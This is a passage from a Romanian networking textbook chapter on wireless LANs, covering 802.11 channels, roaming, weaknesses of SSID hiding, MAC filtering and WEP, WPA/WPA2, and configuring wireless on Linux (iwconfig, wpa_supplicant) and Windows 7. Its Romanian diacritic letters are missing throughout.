W i r e l e s s | 345 Se va lua ca exemplu standardul 802.11g. Pentru a putea transmite 54 Mbps, folosind OFDM i tehnici de transmisie n spectru mprtiat, este nevoie de o plaj de frecvene de doar 22 Hz. Dar banda ISM de 2,4 GHz se ntinde ntre 2,401 i 2,473 Ghz (o plaj de 72 Hz). Deci se pot transmite simultan n aceast banda ISM, 3 (72/22) fluxuri wireless separate, care funcioneaz fiecare ntr-o band separat de 22 Hz. Aceste benzi de 22 Hz, se numesc canale. Folosirea mai multor canale face posibil coexistena a dou reele wireless care funcioneaz n aceeai band ISM, n acelai domeniu de propagare. Standardul 802.11g specific existena mai multor astfel de canale care sunt spaiate la doar 5 MHz unul de cellalt i care se suprapun pe o band de 17 MHz. De ce sunt prevzute mai multe canale care interfereaz unul cu cellalt, n loc de trei canale complet independente? Pentru c se dorete posibilitate reglajului fin n cazul unei interferene de interval mic la unul din capetele unui canal. Lrgimea benzii ISM difer ntre standardul din America i cel din Europa. n timp ce n America se specific intervalul 2,401 - 2,473 Ghz, n Europa se precizeaz plaja de 2,401 GHz pn la 2,483 GHz. Cele 3 canale ce nu interfereaz sunt 1,6 i 11 n America (vezi Fig. 10-10) i 1, 7 i 13 n Europa.

10-10 Canale multiple n anul 2003 IEEE a publicat standardul 802.11h, care a fost ncorporat n 802.11 n 2007. Acest amendament adus standardului original introduce i canale suplimentare n benzile UNII pentru reelele 802.11a. n prezent, se beneficiaz de 23 de canale n Statele Unite i de 19 n Europa.

10.4.4 Roaming
Colocalizarea mai multor reele poate fi folosit i n alt scop: mrirea acoperirii i benzii unei reele wireless prin adugarea de access point-uri. Pentru a realiza acest deziderat, nu este suficient s adugam mai multe AP-uri la reea aa cum punem mai multe becuri pentru a face mai mult lumin. n momentul n care apar mai multe access point-uri, automat se creeaz mai multe reele wireless. n consecin, vor aprea coliziuni ntre ele dac nu folosim canale disjuncte. Topologia din Fig. 10-11 poart numele de ESS (Extended Service Set) i funcioneaz astfel: APurile sunt conectate n acelai reea Ethernet i funcioneaz respectiv pe 3 canale disjuncte (1-7-13). Astfel, cnd o staie intr n raza de acoperire a reelei, ea va fi asociat AP-ului cu semnalul cel mai puternic din acea zona. Aici se aplic funcia de reasociere a AP-urilor. Dac o persoan cu un PDA traverseaz de la stnga la dreapta reeaua, PDA-ul va fi asociat pe rnd fiecruia dintre AP-uri. Spre exemplu, cnd semnalul de la access point-ul 1 devine prea slab, adaptorul va fi intrat deja n raza access point-ului 2 i va fi asociat acestuia fr pierderea conexiunii la reea. Acest serviciu, ca i la telefonia mobil, poart numele de roaming.

346 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

10-11 Roaming Folosind o topologie ESS, nu se extinde doar raza reelei, ci i se ofer mai mult band clienilor mobili. Aceasta pentru c fiecare AP ofer clienilor lui pn la 54 Mbps, deci n total ele vor constitui o reea wireless cu o band de 3x54 Mbps = 162 Mbps.

10.5 Mecanisme de securitate wireless


10.5.1 SSID broadcast
Fiecare reea wireless este identificat printr-un nume: aa numitul SSID (Service Set Identifier). Pentru ca o staie s se poat asocia la o reea, ea trebuie s cunoasc SSID-ul reelei respective. n mod normal, access point-urile anun periodic SSID-ul reelei pentru ca o staie s verifice dac nu cumva dorete s se asocieze reelei respective. Acest proces de anunare se numete SSID broadcast. Cunoaterea SSID-ului de ctre o staie atacatoare poate fi un risc de securitate. Toate APurile ofer o setare ce permite eliminarea SSID broadcast, fornd astfel o asociere activ (staia trebuie s specifice manual reeaua la care dorete s se conecteze). Dei eliminarea SSID broadcast este considerat n unele documentaii ca fiind o msura de securitate, aceast afirmaie este eronat. Protocolul 802.11 conine n specificaii mesaje speciale numite beacons. Aceste mesaje sunt folosite de ctre AP ca un mecanism de verificare periodic a faptului c o staie este nc activ. Beacon-urile sunt vzute de toate staiile din reea i conin SSIDul reelei. Deci eliminarea SSID broadcast este o msura complet inutil de securitate, odat ce SSIDul poate fi aflat de atacator din aceste beacon-uri ce nu pot fi dezactivate. Trebuie spus, totui, c exist unele rutere care permit eliminarea complet a SSID-ului, att din mesajele de broadcast, ct i din beacon-uri.

10.5.2 Filtrare bazat pe adresa MAC


O metod foarte des folosit n reelele mici este MAC Filtering. Aceasta presupune configurarea AP-ului astfel nct s permit accesul doar anumitor interfee wireless, pe baza adresei MAC. Spre exemplu, dac n reeaua voastr vrei s conectai doar aceleai cinci staii, putei configura AP-ul s accepte doar interfeele care au una dintre cele 5 adrese MAC. Nici aceast abordare nu e mult mai sigur: adresele MAC acceptate pot fi aflate prin captura traficului ntre ele i AP. Apoi un hacker poate schimba adresa MAC a interfeei proprii cu unul dintre MAC-urile capturate. Metodele prezentate mai sus, dei nu sunt foarte sigure, sunt foarte des folosite. Aceasta se ntmpl nu din lipsa de cunotine sau ignoran. Cnd vine vorba despre securitate, naintea lurii oricrei msuri, trebuie realizat o evaluare a riscului. Dac avei de realizat o reea wireless ntr-o central nuclear, atunci merit asigurat un maxim de securitate. Dac, ns, avei o reea acas i protejai o conexiune Internet, atunci msurile nu au de ce s fie foarte drastice.

W i r e l e s s | 347

10.5.3 WEP
Protocolul 802.11 include i o specificaie pentru un mecanism de securizare mai avansat: WEP (Wired Equivalent Privacy). Dup cum spune i numele, reprezint un mecanism specializat ce, teoretic, ar trebui s confere un nivel destul de ridicat de securitate. WEP asigur criptarea traficului din reea printr-un algoritm de criptare simetric denumit RC4. Pentru a securiza o reea prin acest mecanism, o cheie specific reelei (nu este acelai lucru cu SSID) este cunoscut de ctre toate nodurile crora li se permite asocierea. n momentul n care o staie dorete s se asocieze AP-ului, acesta verific dac staia cunoate cheia secret printr-o secven de challenge: trimite un mesaj aleator pe care staia trebuie s-l returneze criptat. AP-ul va decripta apoi mesajul i va verifica dac este chiar mesajul pe care el l-a trimis iniial. Acest pas suplimentar la asociere poart numele de autentificare. Din acest moment, staia poate comunica n reea, ns cadrele comunicate vor fi toate criptate cu cheia reelei. Din nefericire, orict de puternic ar fi criptarea i orict ar fi cheia de lung, faptul c aceasta este static este o mare vulnerabilitate. Un hacker poate intercepta secvena de autentificare i, cunoscnd algoritmul, va ncerca s afle cheia. Din moment ce aceasta se va schimba foarte rar, are foarte mult timp la dispoziie s o fac. Fiind vorba de tehnologie relativ recent, s-au fcut multe studii n legtur cu puterea WEP-ului, descoperindu-se astfel o serie de vulnerabiliti. Totul a culminat cu spargerea algoritmului n 2001, iar acum exist publicate pe Internet aplicaii care pot descoperi foarte repede cheia WEP pe baza pachetelor interceptate din reea. Se va prezenta n cadrul unui studiu de caz cum se poate descoperi cheia WEP.

10.5.4 WPA/WPA2
Wi-Fi Alliance este un consoriu format din peste 300 dintre cele mai mari companii din domeniul IT, avnd ca scop promovarea i dezvoltarea tehnologiilor wireless. n 2003 Wi-Fi Alliance a propus un nou protocol pentru securitatea reelelor: WPA (Wi-Fi Protected Access), ce a devenit standardul de securitate pentru majoritatea echipamentelor 802.11. WPA implementeaz un subset al specificaiilor de securitate wireless prezente n standardul 802.11i i reprezint rspunsul industriei la ocul spargerii WEP-ului, venind cu soluii pentru cele mai importante vulnerabiliti descoperite acestuia din urm. Cea mai important mbuntire adus WPA-ului este folosirea unui protocol de schimbare dinamic a cheii de criptare pe durata conexiunii: TKIP (Temporary Key Integrity Protocol). Acesta vine s rezolve problema WEP legat de posibilitatea facil de recuperare a cheii. WPA funcioneaz n dou moduri: personal i enterprise. n prezent, WPA a ajuns la cea de-a doua versiune. n iunie 2004 IEEE a omologat standardul 802.11i, venit s amendeze standardul 802.11 cu privire la securitatea n reelele wireless. WPA2 implementeaz setul de specificaii obligatorii prezent n standardul 802.11i, pstrnd i compatibilitatea cu prima versiune a protocolului (WPA). Recomandrile actuale n privina securitii reelelor fr fir sunt folosirea unui sistem WPA2 Personal (AES PreShared Key) pentru utilizatorii casnici i WPA2 Enterprise mpreun cu un server RADIUS pentru mediul de afaceri. Standardul WPA a fost spart pentru algoritmul TKIP, dar nu i pentru AES. Versiunea 2 a protocolului nu poate fi spart de o staie neasociat. n schimb, s-a descoperit o vulnerabilitate prin care o staie din interiorul reelei poate intercepta i decripta traficul unei alte staii asociate. WPA2 folosete dou tipuri de chei de criptare: PTK unic pentru fiecare client, fiind folosit pentru traficul unicast. GTK comun reelei, fiind folosit pentru traficul de broadcast. Exploitul realizeaz un atac MiTM (Man in the middle vezi capitolul Atacuri de reea) folosind o vulnerabilitatea a cheii comune (GTK). Aceast vulnerabilitate a WPA2 este cunoscut sub numele de Hole196 [6]. Pentru protecie se poate instala pe staie un program de detecie a infestrii tabelei ARP (arp poisoning vezi capitolul Atacuri de reea). Un studiu efectuat n iunie 2007 n Londra, oraul cu cel mai mare numr de reele fr fir din lume (7130 de puncte de acces), a artat c 19% din reelele fr fir nu aveau implementat niciun fel

348 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e de sistem de protecie a reelei. Dintre cele care ofereau un oarecare nivel de securitate, 48% erau protejate cu WEP. n momentul actual, majoritatea reelelor wireless publice sunt securizate folosind standardul WPA2, acolo unde echipamentele suport aceast opiune. Not: Dac parola pe care o folosii pentru securizarea reelei este slab, nu conteaz ce algoritm sau ce standard de securitatea folosii: reeaua va putea fi spart printr-un atac de tip brute force (vezi capitolul Atacuri de reea). De aceea se recomand citirea unui ghid [5] ce prezint cele mai bune practici n alegerea unei parole, nainte de a configura securitatea unei reele.

10.6 Utilitare i fiiere de configurare


Pe parcursul ultimilor ani, s-a investit destul de mult efort att din partea comunitii, ct i din partea diferitor organizaii (Linux Foundation, WiFi Alliance, DELL) pentru a mbunti i a populariza Linux ca o platform mobil pentru utilizatorul final. Prezentndu-se n lumea utilizrii sistemelor de operare ca o platform cu pretenii, odat cu apariia nevoii de mobilitate pe piaa IT, Linux a obinut suport pentru stiva 802.11 i a ptruns i n lumea dispozitivelor embedded, dezvoltnd platforme mpreun cu Texas Instruments i Intel. n prezent, s-au fcut progrese reale pentru oferirea unui suport ct mai bun pentru drivere wireless, astfel c, n prezent, Linux ofer att soluii de reele adhoc, infrastructur de dimensiuni mici i medii, ct i soluii enterprise. Unul din proiectele interesante care i propune s mreasc gama de suport wireless n Linux este NDISwrapper. Pentru c muli productori nu elibereaz i drivere Linux pentru plcile wireless livrate, NDISwrapper face posibil instalarea de drivere wireless scrise n Windows API pe o platform Linux. Mai multe informaii se pot gsi pe pagina web a proiectului [7].

10.6.1 Linux
Se vor prezenta n continuare att modul de configurare si securizare al reelelor wireless adhoc i infrastructur. Dei Ubuntu ofer suport pentru configurarea n mediul grafic, pentru exemplele de mai jos se va prefera utilizarea liniei de comand. Motivul pentru aceast alegere este lipsa de suport pe termen lung pentru clientul de wireless pe care Ubuntu l conine i instabilitatea pe care GUI-ul o are pentru unele drivere wireless. Folosind linia de comand, exist sigurana unei soluii independente de platform i care va putea fi aplicat pe orice distribuie de Linux. Configurarea unei reele (att ad-hoc ct i infrastructur) se poate face n dou moduri: temporar prin intermediul unor comenzi ce se aplic n momentul n care sunt introduse. Ele afecteaz software-ul ce ruleaz n RAM, deci configurrile nu vor fi persistente la urmtoarea pornire a sistemului. permanent prin editarea fiierului de configurare /etc/network/interfaces i repornirea serviciului de reea. Fiierul este ncrcat la fiecare repornire a sistemului. Un pachet esenial pentru acest capitol, care va fi folosit n toate configuraiile prezentate, este wireless-tools. Acesta se poate instala uor pe sistemele debian-based, folosind utilitarul apt:
root@HQ:~# apt-get install wireless-tools

Acest pachet conine urmtoarele utilitare: iwconfig este un utilitar asemntor ifconfig cu ajutorul cruia se pot configura parametrii de baz ai unei legturi wireless. iwlist ofer posibilitatea de scanare n linie de comand pentru gsirea reelelor wireless. iwevent permite monitorizarea interfeei wireless i raportarea unui eveniment de asociere cu o reea wireless sau ncheierea unei scanri. iwspy afieaz parametrii de putere i de calitate ai legturii wireless. iwpriv permite modificarea unor parametrii specifici fiecrui driver wireless.

W i r e l e s s | 349 nainte de configurarea propriu-zis se recomand oprirea Network Manager-ului (cel care se ocup de configurarea prin GUI). Pe sistemele debian-based se execut urmtoarea comand:
root@HQ:~# service network-manager stop Stopping network connection manager: NetworkManager.

Dup oprirea acestuia, managementul tuturor conexiunilor trebuie fcut manual, inclusiv al celor pe cablu.

iwconfig
iwconfig permite configurarea unei plci de reea n mod ad-hoc sau de tip infrastructur. Pentru nceput, trebuie aflat numele interfeei wireless de reea. Se va folosi comanda iwconfig fr niciun parametru pentru a afia interfeele active n sistem. ATENIE: Utilitarul trebuie rulat cu drepturile utilizatorului privilegiat.
root@HQ:~# iwconfig lo no wireless extensions. eth0 wlan0 no wireless extensions. IEEE 802.11g ESSID:"" Nickname:"" Mode: auto Frequency:2.412 GHz Cell: Not-Associated Tx-Power=27 dBm Retry min limit:7 RTS thr:off Fragment thr=2346 B Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Dac interfaa nu apare n rezultatul comenzii iwconfig, numele cu care sistemul identific aceast component (wifi0, wlan0, wireless0) poate fi aflat din consultarea fiierului /proc/net/dev.
root@HQ:~# cat /proc/net/dev Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed lo:136374990 605516 0 0 0 0 0 0 136374990 605516 0 0 0 0 0 0 eth0:809470467 1165916 0 0 0 0 0 0 92917929 668139 0 0 0 0 0 0 [...]

Specificarea tipului de reea wireless se face cu ajutorul parametrului mode al comenzii iwconfig. n continuare vom exemplifica comenzile pe modul ad-hoc:
root@HQ:~# iwconfig wlan0 mode adhoc

Parametrul mode are cea mai mare prioritate n configuraie i trebuie introdus ntotdeauna primul n secvena de comenzi de configurare. Valorile sale relevante sunt: master aceast valoare desemneaz interfaa ca fiind una de AP. Se va folosi numai dac se dorete realizarea unui server Linux care s poat funciona ca Access Point. Se recomand consultarea specificaiilor plcii de reea pentru a vedea dac poate fi trecut n acest mod. managed acest mod se folosete cnd se dorete conectarea la un AP ntr-o reea tip infrastructur. adhoc specific opiunea unei reele ad hoc. n continuare, trebuie configurat SSID-ul reelei ad-hoc pe fiecare dintre staii.
root@HQ:~# iwconfig wlan0 essid nume_reea

Este necesar i configurarea unui canal de comunicare. Pentru reele ad-hoc, acesta se alege de comun acord, iar pentru cele de tip infrastructur, trebuie configurat canalul AP-ului la care se conecteaz placa. Acesta poate fi obinut folosind utilitarul iwlist, prezentat n seciunea urmtoare. Comanda iwconfig ofer posibilitatea setrii i altor parametri ai conexiunii, cum ar fi:

350 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e rate N pentru a seta bit-rate-ul (viteza de transmisie) la viteza N. txpower N pentru setarea puterii de transmisie la valoarea N. key XXXX-XXXX-XXXX-XXXX setarea unei chei WEP. Pn la acest pas, a fost configurat o reea wireless ce ofer conectivitate de nivel 2. Pentru a putea asigura comunicare de nivel 7 trebuie configurai, mai nti, parametrii de nivel 3: adresele IP (de asigurarea conectivitii 4-7 se ocupa stiva TCP/IP i sistemul de operare). Acestea se configureaz ca la o plac de reea Ethernet folosind utilitarul ip address.

iwlist
Pentru o reea de tip infrastructur va trebui setat modul managed, SSID-ul reelei la care se dorete conectarea i canalul de comunicaie folosit de reea. SSID-ul i canalul de comunicaie identific n mod unic o reea wireless, deci trebuie setate pe client la aceeai valoare la care au fost configurate i pe AP. Dac se dorete apartenena la o reea fr fir, trebuie aflat cumva SSID-ul reelei la care trebuie fcut asocierea. Pachetul wireless-tools include un utilitar numit iwlist, folosit pentru scanarea mediului i aflarea SSID-ului reelelor care se afl n raza receptorului wireless local. Pentru a porni scanarea, se va apela comanda iwlist astfel:
root@HQ:~# iwlist wlan0 scanning wlan0 Scan completed : Cell 01 - Address: 00:1B:FC:60:D7:8D ESSID:"RL" Mode:Master Channel:1 Frequency:2.412 GHz (Channel 1) Quality=71/100 Signal level=-63 dBm Noise level=-75 dBm Encryption key:on IE: WPA Version 1 Group Cipher : TKIP Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s 24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s 12 Mb/s; 48 Mb/s ; 54 Mb/s Extra:tsf=000000ca49a2cfbc Cell 02 - Address: 00:19:E0:84:DD:4A ESSID:"guest" Mode:Master Channel:11 Frequency:2.412 GHz (Channel 1) Quality=79/100 Signal level=-55 dBm Noise level=-75 dBm Encryption key:off Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s s Extra:tsf=000000000190900b

Analiznd rezultatul comenzii, se poate observa existena a dou reele de tip infrastructur (identificate astfel dup parametrul mode Master) la care se poate ncerca conectarea. Reeaua cu SSID-ul RL: Folosete frecvena de 2.4 Ghz i canalul 1 Adresa MAC prezent n directive Cell: este adresa fizic a AP-ului i poart numele de BSSID (Basic Service Set Identifier) ntr-o reea infrastructur. Analiznd bit rate-ul posibil pe care AP-ul l ofer, se poate concluziona faptul c AP-ul folosete protocolul 802.11g deoarece 802.11b, dei funcioneaz la aceeai frecven, nu are o rat teoretic de funcionare mai mare de 11 Mbps Folosete autentificare i criptare pe baza protocolului WPA TKIP (chei schimbate n mod dinamic). Reeaua cu SSID-ul guest: Folosete frecvena de 2.4 Ghz i canalul 11 . Adresa MAC prezent n directiva Cell: este adresa fizic a AP-ului i poart numele de BSSID (Basic Service Set Identifier) ntr-o reea infrastructur.

W i r e l e s s | 351 Urmrind rezultatul ratei posibile afiate (bit rate), se poate identifica reeaua ca fiind 802.11b (vitez maxim 11 Mbps). Reeaua nu folosete asociere securizat, fiind de tip OPEN (Encryption key: off). Atenie, acest lucru nu nseamna ca se va putea realiza ntotdeauna asocierea la reea. Chiar dac reeaua apare ca fiind OPEN la scanare, pot fi implementate politici de filtrare dup adresa MAC pe AP, care s permit doar anumitor staii s se asocieze reelei.

/etc/network/interfaces directive pentru wireless


n general pe Linux toate configurrile permanente se fac n fiiere text. Chiar i atunci cnd se folosesc utilitare n mod grafic, acestea opereaz modificri n fiiere text. Plcile de reea wireless se configureaz permanent, ca i cele Ethernet, n fiierul /etc/network/interfaces. Acestea mai dispun de opiuni suplimentare pentru specificarea modului de lucru, a SSID-ului i a canalului de comunicaie. Dup realizarea configurrilor, nu uitai s resetai servicul de reea.
root@HQ:~# cat /etc/network/interfaces [...] auto wlan0 iface wlan0 inet static wireless-mode adhoc wireless-channel 4 wireless-essid nume_reea address 86.122.60.17 netmask 255.255.255.192 gateway 86.122.60.1 root@micos:~# /etc/init.d/networking restart * Reconfiguring network interfaces... [...] ssh stop/waiting ssh start/running, process 10347 [ OK ]

Rezultatul comenzii iwconfig va reflecta parametrii aplicai:


root@HQ:~# iwconfig wlan0 wlan0 IEEE 802.11g ESSID:"nume_reea" Nickname:"" Mode:Adhoc Frequency:2.427 GHz Cell: 00:19:E0:84:DD:4A Bit Rate=54 Mb/s Tx-Power=27 dBm Retry min limit:7 RTS thr:off Fragment thr=2346 B Power Management:off Link Quality=85/100 Signal level=-48 dBm Noise level=-82 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Pentru autentificarea pe baz de WEP, se poate aduga directiva wireless-key:


root@HQ:~# cat /etc/network/interfaces [...] iface wlan0 inet static [...] wireless-key s:7733-7031-7377-3361-6B [...]

Dup repornirea serviciului de reea, se obine conectivitate cu suport WEP.


root@HQ:~# iwconfig wlan0 wlan0 IEEE 802.11g ESSID:"nume_reea" Nickname:"" Mode:Managed Frequency:2.437 GHz Access Point: 00:1D:7E:4C:4F:1D Bit Rate=54 Mb/s Tx-Power=27 dBm Retry min limit:7 RTS thr:off Fragment thr=2346 B Encryption key:7733-7031-7377-3361-6B Power Management:off Link Quality=98/100 Signal level=-25 dBm Noise level=-127 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Pentru realizarea unei conexiuni folosind standardul WPA/WPA2 trebuie folosit un alt utilitar: wpasupplicant.

wpasupplicant
Pachetul wireless-tools nu ofer suport pentru WPA/WPA2. Pentru acest lucru trebuie instalat pachetul wpasupplicant.

352 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
root@HQ:~# apt-get installl wpasupplicant

Pentru a se putea realiza asocierea cu o reea WPA2, n fiierul de configurare al interfeelor va trebui introdus cheia partajat WPA2 care a fost setat i pe AP. Problema este c /etc/network/interfaces are drept de read implicit pentru orice utilizator din sistem. Degeaba s-ar oferi securitate WPA2 reelei, dac parola ar fi introdus n text clar ntr-un fiier de configurare pe care oricine l poate consulta. n acest punct intervine wpasupplicant prin oferirea unui utilitar cu ajutorul cruia se poate genera un hash de 64 caractere, care poate fi ulterior introdus n fiierul /etc/network/interfaces. Acest utilitar se numete wpapassphrase, iar pentru a genera hash-ul are nevoie la intrare de SSID-ul reelei i de cheia partajat a reelei.
root@micos:~# wpa_passphrase nume_retea cheie_secreta network={ ssid="nume_retea" #psk="cheie_secreta" psk=453783ad77a2623ed828e8627bede87dd7c3d372d4806b75cab3743beadcb486 }

Alturi de cheia partajat, n fiierul de configurare vor mai trebui adugate urmtoarele directive: wpa-driver specific driverul folosit. Se va folosi parametrul wext (Linux wireless extensions); acesta este driverul generic instalat de Linux. wpa-ssid specific SSID-ul reelei. wpa-ap-scan primete parametrul 1 dac reeaua are SSID broadcast activat i parametrul 2, n caz contrar. wpa-proto versiunea protocolului. Parametrii pot fi WPA2 sau WPA. wpa-pairwise, wpa-group aceste dou directive primesc acelai tip de parametru, care specific procolul de criptare folosit. Valorile pot fi CCMP pentru AES sau TKIP pentru TKIP (asigura compatibilitatea WPA2 cu WPA). wpa-key-mgmt este folosit pentru a indica metoda de autentificare folosit. Accept parametrii WPA-PSK n cazul autentificrii pe baz de cheie partajat i WPA-EAP n cazul autentificrii pe baza unui server specializat (RADIUS, TACACS+). Conform specificaiilor de mai sus, fiierul de configurare pentru reeaua nume_retea arat astfel:
root@HQ:~# cat /etc/network/interfaces [...] auto wlan0 iface wlan0 inet dhcp wpa-driver wext wpa-ssid nume_retea wpa-ap-scan 1 wpa-proto WPA2 wpa-pairwise CCMP wpa-group CCMP wpa-key-mgmt WPA-PSK wpa-psk 453783ad77a2623ed828e8627bede87dd7c3d372d4806b75cab3743beadcb486

Se observ c nu se mai folosesc directivele standard (de exemplu specificarea SSID -ului), wpasupplicant adugnd suport pentru propriile directive.

10.6.2 Windows
Serviciul de wireless n sistemul de operare Windows a beneficiat de o multitudine de schimbri i mbuntiri de-a lungul timpului. n aceast seciune se va prezenta modalitatea de conectare la o reea wireless, folosind Windows 7. Suportul pentru wireless este acum nativ, mpreun cu o arhitectur de implementare care aduce mari mbuntiri interfeei dinspre utilizator. De asemenea, suport standardul de securitate WPA2 (Wi-Fi Protected Access 2).

W i r e l e s s | 353

Conectarea la o reea wireless

10-12 Starea conexiunilor din System Tray O conexiune configurat la o reea wireless este denumit un profil wireless. Modalitile prin care aceste profiluri pot fi configurate sunt urmtoarele: Fereastra Connect to a network, principala metod accesibil utilizatorilor individuali pentru a-i configura conexiunea la o reea wireless. Politici de grup (Group policy) accesibile administratorilor ntr-un mediu Active Directory pentru a configura centralizat i a distribui configuraia altor calculatoare membre ale domeniului [8]. Linie de comand, folosind utilitarul netsh.exe i comanda netsh wlan, ce permite configurarea manual a reelelor wireless. netsh permite, de asemenea, exportarea profilurilor wireless n fiiere xml i importarea lor ulterioar, eventual pe alte sisteme. n continuare vom prezenta doar metoda cea mai utilizat, folosind fereastra Connect to a network. Accesarea interfeei Connect to a network poate fi realizat din fereastra Network and Sharing Center, accesibil prin Control Panel > Network and Internet > Network and Sharing Center. Dac este prezent pictograma Network din System Tray (Fig. 10-12), accesarea se poate face prin clic pe aceasta, urmat de clic pe opiunea Connect or disconnect... Fereastra Connect to a network nlocuiete vechea fereastr de Choose a wireless network din Windows XP Service Pack 2. Aceasta suport acum i conexiunile VPN (Virtual Private Network) precum i conexiunile de tip dial-up, inclusiv PPPoE (Point-to-Point Protocol over Ethernet). Pentru conectarea la una dintre reelele din list, este suficient un dublu-clic pe reeaua dorit sau selectarea ei i apsarea pe Connect. Dac s-a configurat o reea de tip non-broadcasting (SSID-ul nu mai este trimis n cadre), aceasta va aprea n list sub numele de Unnamed network iar ncercarea de conectare la ea va cere introducerea numelui reelei. Detectarea unei reele wireless nonbroadcasting este posibil deoarece unele AP-uri pot fi configurate astfel nct s trimit cadre de tip beacon [9] avnd cmpul de SSID setat pe valoarea NULL.

354 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Pentru crearea unei noi conexiuni, din fereastra Network and Sharing Center se alege opiunea Set up a connection or network.

10-13 Alegerea tipului de conexiune ce va fi creat Pentru conectarea la o reea non-broadcasting (nu transmite SSID-ul din motive de securitate) la pasul precedent se alege Manually connect to a wireless network (Fig. 10-13) i se completeaz parametrii reelei. Dac opiunea Manually connect to a wireless network nu este disponibil, se recomand verificarea instalrii corecte a adaptorului wireless i identificarea corect a sa din fereastra Manage network connections, disponibil tot n Network and Sharing Center. Informaiile cerute pentru conectare (Fig. 10-14) sunt: Network name reprezint SSID-ul reelei. Security type descrie metoda de autentificare n reea, fiind permise urmtoarele opiuni: No authentication (open), WEP, WPA (Personal sau Enterprise), WPA2 (Personal sau Enterprise) i 802.1x (autentificare IEEE 802.1x cu WEP vezi capitolul Autentificare). Encryption type reprezint metoda folosit pentru criptarea cadrelor de date trimise n reea. Opiunile disponibile depind de metoda aleas de autentificare. Pentru WPA/WPA2 se poate alege ntre TKIP sau AES. Opiunile disponibile la criptare depind, de asemenea, i de capabilitile interfeei de reea wireless i a driverului pe care aceasta l folosete. Security key / Passphrase se introduce cheia WEP n cazul securitii de tip WEP, cheia partajat WPA sau WPA2 pentru variantele Personal ale acestora, iar pentru variantele Enterprise i 802.1x, cheia se determin automat la realizarea autentificrii. Start this connection automatically Windows se va conecta automat la reea cnd aceasta este detectat. Altfel, conectarea trebuie fcut manual prin fereastra Connect to a network. Connect even if the network is not broadcasting Windows va ncerca s se conecteze la reea chiar i cnd aceasta nu i anun SSID-ul prin broadcast. Se vor trimite cadre de tip probe request ce reprezint un risc de securitate, deoarece acestea conin numele reelei cutate.

W i r e l e s s | 355

10-14 Informaii despre reeaua la care se va conecta n funcie de tipul de securitate ales, se configureaz fie o cheie de autentificare, fie o metod de autentificare n reea. n cazul din urm, deci la configurarea unei autentificri de tip WPA-Enterprise, WPA2-Enterprise sau 802.1x, sunt necesare i urmtoarele configurri ulterioare: Choose a network authentication method se alege o metod EAP (Extensible Authentication Protocol) i se apas Settings pentru a configura tipul de EAP ales. Cache user information for subsequent connections to this network Opiune care specific faptul c, atunci cnd utilizatorul se deconecteaz din sistem, datele folosite pentru autentificare i vor fi sau nu terse din registry. n cazul n care sunt terse, datele vor fi cerute din nou la fiecare autentificare n reea.

Managementul conexiunilor wireless


Dup crearea i/sau detectarea cu succes a reelelor wireless, managementul acestora poate fi realizat dintr-o interfa specializat pus la dispoziie de Windows 7 i accesibil prin Control Panel > Network and Internet > Network and Sharing Center > Manage wireless networks. n fereastra Manage wireless networks (Fig. 10-15) pot fi vizualizai parametrii cu care au fost configurate reelele wireless, li se pot modifica proprietile i, bineneles, pot fi terse sau adugate noi profiluri wireless. De asemenea, tot de aici se pot rearanja n ordinea preferinelor profilurile wireless configurate, ordine folosit de ctre Windows atunci cnd sunt detectate una sau mai multe reele wireless. Dei managementul reelelor wireless poate fi realizat prin interfaa Manage wireless networks, conexiunea wireless curent poate fi configurat i prin interfaa Manage network connections, cu diferena c aceasta va afia toate tipurile de conexiuni prezente n sistem, att cele detectate automat (cum ar fi interfeele Ethernet) ct i cele configurate manual (spre exemplu, conexiuni Bluetooth sau PPPoE).

356 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

10-15 Fereastra Manage Wireless Networks

Conexiuni wireless adhoc


O reea adhoc mai este denumit i reea computer-to-computer, deoarece calculatoarele se conecteaz direct, fr a mai folosi dispozitive intermediare ca huburi, switchuri sau rutere. De fapt, o reea adhoc presupune o reea wireless i nu are sens n alt context. Avantajul unei reele wireless adhoc este c poate fi instalat practic oriunde cu destul de mult uurin, poate fi folosit n orice scop (partajarea fiierelor, jocuri n reea) i permite chiar i partajarea unei conexiuni la Internet. Pentru a crea o reea adhoc n Windows 7, din Network and Sharing Center, se alege Set up a new connection or network, iar din lista oferit se apas pe Set up a wireless ad hoc (computer-tocomputer) network. n fereastra urmtoare (Fig. 10-16) se completeaz numele (SSID-ul) reelei, se alege tipul de securitate implementat (nu orice plac wireless suport WPA2 n mod adhoc) i se introduce passphrase-ul reelei.

10-16 Configuraii reea adhoc Noua reea va aprea n interfaa Connect to a network, iar sistemul se conecteaz automat la ea (Fig. 10-17).

W i r e l e s s | 357

10-17 Ateptare realizare conexiune adhoc ATENIE: Dup cum s-a menionat mai sus, dup crearea unei reele wireless sistemul se conecteaz automat la ea, ceea ce implic faptul c orice alt conexiune wireless ce era activ n acel moment va fi deconectat. Dac nu se bifeaz opiunea Save this network, profilul reelei nou create va fi ters automat n momentul n care ultimul client se deconecteaz de la ea sau cnd cel care a creat reeaua se deconecteaz sau iese din raza celorlaltor clieni.

10.7 Scenariu
Una dintre configuraiile ce se poate ntlni des n funcionarea reelelor att pe fir, ct i fr fir, este partajarea unei conexiuni la Internet.

ISP

